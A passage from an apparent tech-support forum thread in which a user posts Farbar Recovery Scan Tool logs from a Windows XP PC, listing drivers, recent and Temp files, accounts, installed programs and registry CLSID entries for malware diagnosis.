    S3 CCDECODE; C:\WINDOWS\System32\DRIVERS\CCDECODE.sys [17024 2008-04-13] (Microsoft Corporation)
    R2 fssfltr; C:\WINDOWS\System32\DRIVERS\fssfltr_tdi.sys [54752 2009-08-05] (Microsoft Corporation)
    S3 HPZid412; C:\WINDOWS\System32\DRIVERS\HPZid412.sys [49920 2008-10-28] (HP)
    S3 HPZipr12; C:\WINDOWS\System32\DRIVERS\HPZipr12.sys [16496 2008-10-28] (HP)
    S3 HPZius12; C:\WINDOWS\System32\DRIVERS\HPZius12.sys [21568 2008-10-28] (HP)
    R3 IntcAzAudAddService; C:\WINDOWS\System32\drivers\RtDHDAud.sys [5876224 2009-10-23] (Realtek Semiconductor Corp.)
    R3 k57w2k; C:\WINDOWS\System32\DRIVERS\k57xp32.sys [209960 2009-05-31] (Broadcom Corporation)
    R3 LEqdUsb; C:\WINDOWS\System32\Drivers\LEqdUsb.Sys [42264 2013-05-22] (Logitech, Inc.)
    R3 LHidEqd; C:\WINDOWS\System32\Drivers\LHidEqd.Sys [10136 2013-05-22] (Logitech, Inc.)
    S3 libusb0; C:\WINDOWS\System32\DRIVERS\libusb0.sys [42592 2013-08-30] (hxxp://libusb-win32.sourceforge.net)
    S3 LVUSBSta; C:\WINDOWS\System32\DRIVERS\LVUSBSta.sys [41888 2007-05-11] (Logitech Inc.)
    S3 NdisIP; C:\WINDOWS\System32\DRIVERS\NdisIP.sys [10880 2008-04-13] (Microsoft Corporation)
    S3 NuidFltr; C:\WINDOWS\System32\DRIVERS\NuidFltr.sys [14736 2009-05-09] (Microsoft Corporation)
    S0 cerc6; no ImagePath
    S4 IntelIde; no ImagePath
    U1 WS2IFSL; no ImagePath

    ==================== NetSvcs (Whitelisted) ===================

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


    ==================== One Month Created files and folders ========

    (If an entry is included in the fixlist, the file/folder will be moved.)

    2015-11-14 20:31 - 2015-11-14 20:32 - 00000000 ____D C:\FRST
    2015-11-14 14:55 - 2015-11-14 14:56 - 00000000 ___HD C:\bb64b446
    2015-11-11 11:51 - 2015-11-14 20:32 - 00000664 _____ C:\Documents and Settings\Geny\Local Settings\Application Data\d3d9caps.dat
    2015-11-04 19:16 - 2015-11-06 18:36 - 00000000 ____D C:\Program Files\Mozilla Firefox
    2015-11-03 06:47 - 2015-11-03 06:47 - 00000000 ____D C:\Documents and Settings\Geny\Application Data\AVG
    2015-11-03 06:45 - 2015-11-03 06:45 - 00000673 _____ C:\Documents and Settings\All Users\Desktop\AVG Protection.lnk
    2015-11-03 06:40 - 2015-11-03 06:43 - 00000000 ____D C:\Documents and Settings\All Users\Application Data\Avg
    2015-11-03 06:39 - 2015-11-03 06:40 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Application Data\AvgSetupLog

    ==================== One Month Modified files and folders ========

    (If an entry is included in the fixlist, the file/folder will be moved.)

    2015-11-14 20:33 - 2010-03-30 13:51 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Temp
    2015-11-14 20:32 - 2010-08-29 06:33 - 00000974 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003UA.job
    2015-11-14 20:24 - 2012-07-26 18:32 - 00000000 ____D C:\Documents and Settings\Geny\Application Data\uTorrent
    2015-11-14 20:20 - 2010-03-30 13:46 - 01585423 _____ C:\WINDOWS\WindowsUpdate.log
    2015-11-14 20:16 - 2010-03-30 06:32 - 00607774 _____ C:\WINDOWS\system32\PerfStringBackup.INI
    2015-11-14 20:12 - 2010-11-07 08:24 - 00000882 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job
    2015-11-14 20:12 - 2010-03-30 06:34 - 00000159 _____ C:\WINDOWS\wiadebug.log
    2015-11-14 20:12 - 2010-03-30 06:34 - 00000050 _____ C:\WINDOWS\wiaservc.log
    2015-11-14 20:11 - 2014-04-09 02:24 - 00000220 _____ C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Logon.job
    2015-11-14 20:11 - 2010-03-30 13:50 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT
    2015-11-14 19:56 - 2012-07-26 18:27 - 00000000 ____D C:\Documents and Settings\All Users\Application Data\MFAData
    2015-11-14 19:53 - 2010-11-07 08:24 - 00000886 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job
    2015-11-14 18:51 - 2010-03-30 15:12 - 00393216 _____ C:\WINDOWS\system32\config\WindowsPowerShell.evt
    2015-11-14 11:53 - 2010-03-30 13:50 - 00032476 _____ C:\WINDOWS\SchedLgU.Txt
    2015-11-14 07:51 - 2008-04-14 05:00 - 00002206 _____ C:\WINDOWS\system32\wpa.dbl
    2015-11-12 22:03 - 2010-03-30 13:51 - 00000178 ___SH C:\Documents and Settings\Geny\ntuser.ini
    2015-11-12 06:32 - 2010-08-29 06:33 - 00000922 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003Core.job
    2015-11-11 14:38 - 2015-06-02 07:46 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Application Data\Avg
    2015-11-11 12:56 - 2015-05-02 06:29 - 00001813 _____ C:\Documents and Settings\All Users\Desktop\Google Chrome.lnk
    2015-11-11 10:59 - 2015-09-24 11:16 - 00000000 ___HD C:\Documents and Settings\All Users\Application Data\{42793930-2684-4C15-9B87-9CEF8846A875}
    2015-11-11 10:35 - 2010-04-06 19:30 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Application Data\Apple
    2015-11-09 08:06 - 2010-03-30 13:51 - 00000000 ____D C:\Documents and Settings\Geny
    2015-11-08 15:00 - 2014-04-09 02:24 - 00000214 _____ C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Monthly.job
    2015-11-08 03:15 - 2012-05-05 10:23 - 00000000 ____D C:\Program Files\Mozilla Maintenance Service
    2015-11-03 06:47 - 2012-07-26 18:55 - 00000000 ____D C:\Program Files\AVG
    2015-11-03 06:46 - 2014-03-31 08:20 - 00000000 ____D C:\Documents and Settings\All Users\Start Menu\Programs\AVG
    2015-11-03 06:45 - 2013-10-10 02:09 - 00219030 _____ C:\WINDOWS\setupapi.log
    2015-10-29 17:40 - 2010-04-18 18:49 - 00148992 _____ C:\Documents and Settings\Geny\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
    2015-10-29 17:40 - 2010-04-17 16:41 - 00000069 _____ C:\WINDOWS\NeroDigital.ini
    2015-10-28 16:15 - 2012-06-30 19:27 - 00780488 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerApp.exe
    2015-10-28 16:15 - 2011-06-03 19:23 - 00142536 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\FlashPlayerCPLApp.cpl
    2015-10-28 16:15 - 2010-03-31 09:20 - 00000000 ____D C:\Documents and Settings\Geny\Local Settings\Application Data\Adobe
    2015-10-21 16:24 - 2011-10-07 05:23 - 00229296 _____ (AVG Technologies CZ, s.r.o.) C:\WINDOWS\system32\Drivers\avgldx86.sys
    2015-10-21 16:14 - 2011-08-08 05:08 - 00192944 _____ (AVG Technologies CZ, s.r.o.) C:\WINDOWS\system32\Drivers\avgmfx86.sys
    2015-10-19 08:06 - 2014-06-17 15:17 - 00243632 _____ (AVG Technologies CZ, s.r.o.) C:\WINDOWS\system32\Drivers\avgidsdriverlx.sys

    ==================== Files in the root of some directories =======

    2015-11-11 11:51 - 2015-11-14 20:32 - 0000664 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\d3d9caps.dat
    2010-04-18 18:49 - 2015-10-29 17:40 - 0148992 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
    2012-11-11 08:07 - 2012-11-11 08:07 - 0027520 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\dt.dat
    2011-01-04 14:30 - 2011-01-06 10:26 - 0001940 _____ () C:\Documents and Settings\Geny\Local Settings\Application Data\{96C87F53-AC72-4604-A9CC-186A49F17F3C}.ini

    Some files in TEMP:
    ====================
    C:\Documents and Settings\Geny\Local Settings\Temp\11.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\avg-03e82148-59f7-4537-a3dc-287390295d3f.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\difxapi.dll
    C:\Documents and Settings\Geny\Local Settings\Temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmprowbg4.dll
    C:\Documents and Settings\Geny\Local Settings\Temp\en_ww_Package.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\FP_AX_MSI_INSTALLER.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\FP_PL_MSI_INSTALLER.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\GLF1B.tmp.tbZyng.dll
    C:\Documents and Settings\Geny\Local Settings\Temp\hpzmsi01.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\hpzscr01.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\install_reader10_en_air_gtbp_mssa_aih[1].exe
    C:\Documents and Settings\Geny\Local Settings\Temp\ose00000.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\TB_441.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\UNINSTALL.EXE
    C:\Documents and Settings\Geny\Local Settings\Temp\utt8CF.tmp.exe
    C:\Documents and Settings\Geny\Local Settings\Temp\Zynga.exe


    ==================== Bamital & volsnap =================

    (There is no automatic fix for files that do not pass verification.)

    C:\WINDOWS\explorer.exe => File is digitally signed
    C:\WINDOWS\system32\winlogon.exe => File is digitally signed
    C:\WINDOWS\system32\svchost.exe => File is digitally signed
    C:\WINDOWS\system32\services.exe => File is digitally signed
    C:\WINDOWS\system32\User32.dll => File is digitally signed
    C:\WINDOWS\system32\userinit.exe => File is digitally signed
    C:\WINDOWS\system32\rpcss.dll => File is digitally signed
    C:\WINDOWS\system32\dnsapi.dll => File is digitally signed
    C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed

    ==================== End of FRST.txt ============================
     
  2. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    Additional scan result of Farbar Recovery Scan Tool (x86) Version:07-11-2015
    Ran by Geny (2015-11-14 20:34:38)
    Running from D:\My Docs\Downloads
    Microsoft Windows XP Professional Service Pack 3 (X86) (2010-03-30 20:48:39)
    Boot Mode: Normal
    ==========================================================


    ==================== Accounts: =============================

    Administrator (S-1-5-21-1454471165-790525478-1801674531-500 - Administrator - Enabled)
    ASPNET (S-1-5-21-1454471165-790525478-1801674531-1004 - Limited - Enabled)
    Geny (S-1-5-21-1454471165-790525478-1801674531-1003 - Administrator - Enabled) => %SystemDrive%\Documents and Settings\Geny
    Guest (S-1-5-21-1454471165-790525478-1801674531-501 - Limited - Enabled)
    HelpAssistant (S-1-5-21-1454471165-790525478-1801674531-1000 - Limited - Disabled)
    SUPPORT_388945a0 (S-1-5-21-1454471165-790525478-1801674531-1002 - Limited - Disabled)

    ==================== Security Center ========================

    (If an entry is included in the fixlist, it will be removed.)

    AV: AVG AntiVirus Free Edition (Enabled - Up to date) {17DDD097-36FF-435F-9E1B-52D74245D6BF}

    ==================== Installed Programs ======================

    (Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

    µTorrent (HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\uTorrent) (Version: 3.4.5.41202 - BitTorrent Inc.)
    32 Bit HP CIO Components Installer (Version: 6.1.2 - Hewlett-Packard) Hidden
    Acrobat.com (HKLM\...\com.adobe.mauby.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1) (Version: 1.2.443 - Adobe Systems Incorporated)
    Acrobat.com (Version: 0.0.0 - Adobe Systems Incorporated) Hidden
    Adobe Acrobat 9.5.5 - CPSID_83708 (HKLM\...\{AC76BA86-1033-F400-7760-000000000004}_955) (Version: - Adobe Systems Incorporated)
    Adobe AIR (HKLM\...\Adobe AIR) (Version: 1.1.0.5790 - Adobe Systems Inc.)
    Adobe Creative Suite 4 Master Collection (HKLM\...\Adobe_7e74552a59eaf9fafd13f90894ac9bd) (Version: 4.0 - Adobe Systems Incorporated)
    Adobe Flash Player 17 ActiveX (HKLM\...\Adobe Flash Player ActiveX) (Version: 17.0.0.190 - Adobe Systems Incorporated)
    Adobe Flash Player 19 NPAPI (HKLM\...\Adobe Flash Player NPAPI) (Version: 19.0.0.226 - Adobe Systems Incorporated)
    Adobe Media Player (HKLM\...\com.adobe.amp.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1) (Version: 1.1 - Adobe Systems Incorporated)
    Any Video Converter 3.4.0 (HKLM\...\Any Video Converter_is1) (Version: - Any-Video-Converter.com)
    Apple Application Support (32-bit) (HKLM\...\{AFA1153A-F547-409B-B837-3A0D6C5A3FEC}) (Version: 3.1.3 - Apple Inc.)
    Apple Mobile Device Support (HKLM\...\{E1DB0812-2D60-43DB-AE09-6C7027D93B28}) (Version: 8.1.1.3 - Apple Inc.)
    Apple Software Update (HKLM\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.)
    AVG (Version: 16.7.7227 - AVG Technologies) Hidden
    AVG 2014 (Version: 14.0.4040 - AVG Technologies) Hidden
    AVG 2014 (Version: 14.0.4765 - AVG Technologies) Hidden
    AVG 2016 (Version: 16.0.4460 - AVG Technologies) Hidden
    AVG Protection (HKLM\...\AVG) (Version: 2016.7.7227 - AVG Technologies)
    Bonjour (HKLM\...\{79155F2B-9895-49D7-8612-D92580E0DE5B}) (Version: 3.0.0.10 - Apple Inc.)
    Citrix online plug-in - web (HKLM\...\CitrixOnlinePluginPackWeb) (Version: 12.0.3.6 - Citrix Systems, Inc.)
    Connect (Version: 1.0.0.1 - Adobe Systems Incorporated) Hidden
    Coupon Printer for Windows (HKLM\...\Coupon Printer for Windows5.0.0.0) (Version: 5.0.0.0 - Coupons.com Incorporated)
    DW WLAN Card Utility (HKLM\...\DW WLAN Card Utility) (Version: 5.60.18.44 - Dell Inc.)
    eReg (Version: 1.20.138.34 - Logitech, Inc.) Hidden
    Facebook Plug-In (HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Facebook Plug-In) (Version: - Facebook, Inc.)
    Fitbit Connect (HKLM\...\{6A7C2B2E-36A3-4EF5-96C6-708CD090A3AD}) (Version: 1.0.1.5127 - Fitbit Inc.)
    FMW 1 (Version: 1.22.2 - AVG Technologies) Hidden
    Garmin ANT Agent (HKLM\...\{B6D17D97-44CE-402E-BBF2-B38492CBFED7}) (Version: 2.3.3 - Garmin Ltd or its subsidiaries)
    Garmin USB Drivers (HKLM\...\{65F9E1F3-A2C1-4AA9-9F33-A3AEB0255F0E}) (Version: 2.3.0.0 - Garmin Ltd or its subsidiaries)
    Google Chrome (HKLM\...\Google Chrome) (Version: 46.0.2490.86 - Google Inc.)
    Google Earth Plug-in (HKLM\...\{4AB54F11-2F8C-11E3-B09F-B8AC6F97B88E}) (Version: 7.1.2.2041 - Google)
    Google Talk Plugin (HKLM\...\{F7770F7F-0ABC-30CB-95BC-93761A05CAB6}) (Version: 5.38.4.0 - Google)
    Google Toolbar for Internet Explorer (HKLM\...\{2318C2B1-4965-11d4-9B18-009027A5CD4F}) (Version: 7.5.6904.2028 - Google Inc.)
    Google Toolbar for Internet Explorer (Version: 1.0.0 - Google Inc.) Hidden
    Google Update Helper (Version: 1.3.24.15 - Google Inc.) Hidden
    Google Update Helper (Version: 1.3.28.15 - Google Inc.) Hidden
    HP Photosmart Premium C309g-m All-in-One Driver 14.0 Rel. 6 (HKLM\...\{CCD42CCF-9AFF-4BC5-862A-38CCD3C8E8F8}) (Version: 14.0 - HP)
    HP Support Solutions Framework (HKLM\...\{FC3C2B77-6800-48C6-A15D-9D1031130C16}) (Version: 11.51.0049 - Hewlett-Packard Company)
    inContact_Agent (HKLM\...\{DFB45880-1B78-4107-8028-A134B83ECD5B}) (Version: 1.0.0 - UCN)
    Intel(R) Graphics Media Accelerator Driver (HKLM\...\HDMI) (Version: - Intel Corporation)
    IPFilter Updater (HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\07140e809c2bb6df) (Version: 1.0.0.11 - David Moore)
    iTunes (HKLM\...\{86D04316-F49A-4AF2-B3F1-A1E943886CE7}) (Version: 11.3.1.2 - Apple Inc.)
    iTunes (HKLM\...\{CE1F04C7-79BC-4219-BE6A-BA490224D4B5}) (Version: 12.1.2.27 - Apple Inc.)
    Jawbone Updater (HKLM\...\Jawbone Updater) (Version: 0.1 - Jawbone)
    Junk Mail filter update (Version: 14.0.8089.726 - Microsoft Corporation) Hidden
    KODAK Picture CD Volume 2 Issue 4 (HKLM\...\KODAK Picture CD Volume 2 Issue 4) (Version: - )
    kuler (Version: 2.0 - Adobe Systems Incorporated) Hidden
    Logitech SetPoint 6.61 (HKLM\...\sp6) (Version: 6.61.15 - Logitech)
    Microsoft .NET Framework 1.1 (HKLM\...\Microsoft .NET Framework 1.1 (1033)) (Version: - )
    Microsoft .NET Framework 1.1 Security Update (KB2698023) (HKLM\...\M2698023) (Version: - )
    Microsoft .NET Framework 1.1 Security Update (KB2833941) (HKLM\...\M2833941) (Version: - )
    Microsoft .NET Framework 1.1 Security Update (KB979906) (HKLM\...\M979906) (Version: - )
    Microsoft .NET Framework 2.0 Service Pack 2 (HKLM\...\{C09FB3CD-3D0C-3F2D-899A-6A1D67F2073F}) (Version: 2.2.30729 - Microsoft Corporation)
    Microsoft .NET Framework 3.0 Service Pack 2 (HKLM\...\{A3051CD0-2F64-3813-A88D-B8DCCDE8F8C7}) (Version: 3.2.30729 - Microsoft Corporation)
    Microsoft .NET Framework 3.5 SP1 (HKLM\...\Microsoft .NET Framework 3.5 SP1) (Version: - Microsoft Corporation)
    Microsoft .NET Framework 4 Client Profile (HKLM\...\Microsoft .NET Framework 4 Client Profile) (Version: 4.0.30319 - Microsoft Corporation)
    Microsoft .NET Framework 4 Extended (HKLM\...\Microsoft .NET Framework 4 Extended) (Version: 4.0.30319 - Microsoft Corporation)
    Microsoft Base Smart Card Cryptographic Service Provider Package (HKLM\...\KB909520) (Version: - Microsoft Corporation)
    Microsoft Compression Client Pack 1.0 for Windows XP (HKLM\...\MSCompPackV1) (Version: 1 - Microsoft Corporation)
    Microsoft Expression Encoder 4 (HKLM\...\Encoder_4.0.1651.0) (Version: 4.0.1651.0 - Microsoft Corporation)
    Microsoft Expression Encoder 4 Screen Capture Codec (HKLM\...\{952DCCD8-4039-46C8-BC8B-5C1EB6C8E130}) (Version: 4.0.1651.0 - Microsoft Corporation)
    Microsoft Office 2007 Service Pack 3 (SP3) (HKLM\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version: - Microsoft)
    Microsoft Office Enterprise 2007 (HKLM\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
    Microsoft Office File Validation Add-In (HKLM\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
    Microsoft Office Live Add-in 1.5 (HKLM\...\{F40BBEC7-C2A4-4A00-9B24-7A055A2C5262}) (Version: 2.0.4024.1 - Microsoft Corporation)
    Microsoft Office Outlook Connector (HKLM\...\{95120000-0122-0409-0000-0000000FF1CE}) (Version: 12.0.6423.1000 - Microsoft Corporation)
    Microsoft Office SharePoint Designer 2007 (HKLM\...\SharePointDesigner) (Version: 12.0.6612.1000 - Microsoft Corporation)
    Microsoft Office SharePoint Designer 2007 Service Pack 3 (SP3) (HKLM\...\{90120000-0017-0000-0000-0000000FF1CE}_SharePointDesigner_{4B4DF6E2-5E40-422B-82DD-205FD7E79226}) (Version: - Microsoft)
    Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.30514.0 - Microsoft Corporation)
    Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)
    Microsoft Sync Framework Runtime Native v1.0 (x86) (HKLM\...\{8A74E887-8F0F-4017-AF53-CBA42211AAA5}) (Version: 1.0.1215.0 - Microsoft Corporation)
    Microsoft Sync Framework Services Native v1.0 (x86) (HKLM\...\{BD64AF4A-8C80-4152-AD77-FCDDF05208AB}) (Version: 1.0.1215.0 - Microsoft Corporation)
    Microsoft User-Mode Driver Framework Feature Pack 1.0 (HKLM\...\Wudf01000) (Version: - Microsoft Corporation)
    Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 (HKLM\...\{770657D0-A123-3C07-8E44-1C83EC895118}) (Version: 8.0.50727.4053 - Microsoft Corporation)
    Microsoft Visual C++ 2005 Redistributable (HKLM\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
    Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
    Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
    Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
    Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
    Mozilla Firefox 42.0 (x86 en-US) (HKLM\...\Mozilla Firefox 42.0 (x86 en-US)) (Version: 42.0 - Mozilla)
    Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 42.0.0.5780 - Mozilla)
    MSXML 4.0 SP2 (KB954430) (HKLM\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)
    MSXML 4.0 SP2 (KB973688) (HKLM\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)
    MSXML 6.0 Parser (HKLM\...\{AEB9948B-4FF2-47C9-990E-47014492A0FE}) (Version: 6.00.3883.8 - Microsoft Corporation)
    Nero 8 (HKLM\...\{3C5F1B30-B10B-4579-86DD-D00F662E1033}) (Version: 8.3.173 - Nero AG)
    Network (Version: 140.0.215.000 - Hewlett-Packard) Hidden
    OGA Notifier 2.0.0048.0 (Version: 2.0.0048.0 - Microsoft Corporation) Hidden
    PDF Settings CS4 (Version: 9.0 - Adobe Systems Incorporated) Hidden
    Photoshop Camera Raw (Version: 5.0 - Adobe Systems Incorporated) Hidden
    Pixel Bender Toolkit (Version: 1.0 - Adobe Systems Incorporated) Hidden
    PowerDVD DX (HKLM\...\{6811CAA0-BF12-11D4-9EA1-0050BAE317E1}) (Version: 8.2.5711 - CyberLink Corp.)
    PS_AIO_06_C309g-m_SW_Min (Version: 140.0.690.000 - Hewlett-Packard) Hidden
    QuickTime 7 (HKLM\...\{3D2CBC2C-65D4-4463-87AB-BB2C859C1F3E}) (Version: 7.76.80.95 - Apple Inc.)
    Realtek High Definition Audio Driver (HKLM\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: - Realtek Semiconductor Corp.)
    Roxio Creator DE 10.3 (HKLM\...\{09760D42-E223-42AD-8C3E-55B47D0DDAC3}) (Version: 10.3 - Roxio)
    Scan (Version: 140.0.80.000 - Hewlett-Packard) Hidden
    Segoe UI (Version: 14.0.4327.805 - Microsoft Corp) Hidden
    Suite Shared Configuration CS4 (Version: 1.0 - Adobe Systems Incorporated) Hidden
    Toolbox (Version: 140.0.428.000 - Hewlett-Packard) Hidden
    Update for 2007 Microsoft Office System (KB967642) (HKLM\...\{90120000-0017-0000-0000-0000000FF1CE}_SharePointDesigner_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version: - Microsoft)
    Update for 2007 Microsoft Office System (KB967642) (HKLM\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version: - Microsoft)
    Visual Studio 2012 x86 Redistributables (HKLM\...\{98EFF19A-30AB-4E4B-B943-F06B1C63EBF8}) (Version: 14.0.0.1 - AVG Technologies CZ, s.r.o.)
    WD SmartWare Drive Manager (HKLM\...\{5E3F4AF2-17B5-4000-8350-CD0680DD46F7}) (Version: 1.5.0 - Western Digital)
    WebFldrs XP (Version: 9.50.7523 - Microsoft Corporation) Hidden
    WebReg (Version: 70.0.170.000 - Hewlett-Packard) Hidden
    Windows Driver Package - Dynastream Innovations (libusb0) LibUsbDevices (07/07/2009 1.12.2) (HKLM\...\24DA573F901348FFDFF7717497830D45BE0C362E) (Version: 07/07/2009 1.12.2 - Dynastream Innovations)
    Windows Driver Package - Garmin (grmnusb) GARMIN Devices (06/03/2009 2.3.0.0) (HKLM\...\49CF605F02C7954F4E139D18828DE298CD59217C) (Version: 06/03/2009 2.3.0.0 - Garmin)
    Windows Genuine Advantage Validation Tool (KB892130) (HKLM\...\KB892130) (Version: - Microsoft Corporation)
    Windows Genuine Advantage Validation Tool (KB892130) (HKLM\...\WGA) (Version: 1.7.0069.2 - Microsoft Corporation)
    Windows Internet Explorer 8 (HKLM\...\ie8) (Version: 20090308.140743 - Microsoft Corporation)
    Windows Live Essentials (HKLM\...\WinLiveSuite_Wave3) (Version: 14.0.8089.0726 - Microsoft Corporation)
    Windows Live ID Sign-in Assistant (HKLM\...\{10A44844-4465-456E-8C97-80BDD4F68845}) (Version: 6.500.3146.0 - Microsoft Corporation)
    Windows Live Sync (HKLM\...\{84EBDF39-4B33-49D7-A0BD-EB6E2C4E81C1}) (Version: 14.0.8089.726 - Microsoft Corporation)
    Windows Live Upload Tool (HKLM\...\{205C6BDD-7B73-42DE-8505-9A093F35A238}) (Version: 14.0.8014.1029 - Microsoft Corporation)
    Windows Media Encoder 9 Series (HKLM\...\Windows Media Encoder 9) (Version: - )
    Windows Media Encoder 9 Series SDK (HKLM\...\{84BBFA13-C40E-4287-85EF-E8B1034451AA}) (Version: 9.00.2980 - Microsoft Corporation)
    Windows Media Format 11 runtime (HKLM\...\Windows Media Format Runtime) (Version: - )
    Windows Media Player 11 (HKLM\...\Windows Media Player) (Version: - )
    Windows PowerShell(TM) 1.0 (HKLM\...\KB926139-v2) (Version: 2 - Microsoft Corporation)
    Windows PowerShell(TM) 1.0 MUI pack (HKLM\...\KB926141) (Version: 2 - Microsoft Corporation)
    WinRAR 5.01 (32-bit) (HKLM\...\WinRAR archiver) (Version: 5.01.0 - win.rar GmbH)
    Zynga Toolbar (HKLM\...\Zynga Toolbar) (Version: 6.14.0.28 - )

    ==================== Custom CLSID (Whitelisted): ==========================

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}\localserver32 -> C:\Documents and Settings\Geny\Application Data\Dropbox\bin\Dropbox.exe /autoplay => No File
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{022105BD-948A-40C9-AB42-A3300DDF097F}\localserver32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe (Google Inc.)
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{035FBE31-3755-450A-A775-5E6BBD43D344}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.135\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{095A2EEC-F7FE-42E8-96FB-C20E53081908}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.99\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{0E55CBE1-B06A-49B6-AD8D-9EFAA0160C6F}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.57\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{218D2740-5A50-42A8-AB9F-62FF1B168782}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.69\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{22181302-A8A6-4F84-A541-E5CBFC70CC43}\localserver32 -> "C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\GoogleUpdate (the data entry has 24 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{29A96789-9595-4947-BEDB-0FCC776F7DB8}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.2.183.39\goopdate.dll (the data entry has 11 more characters).
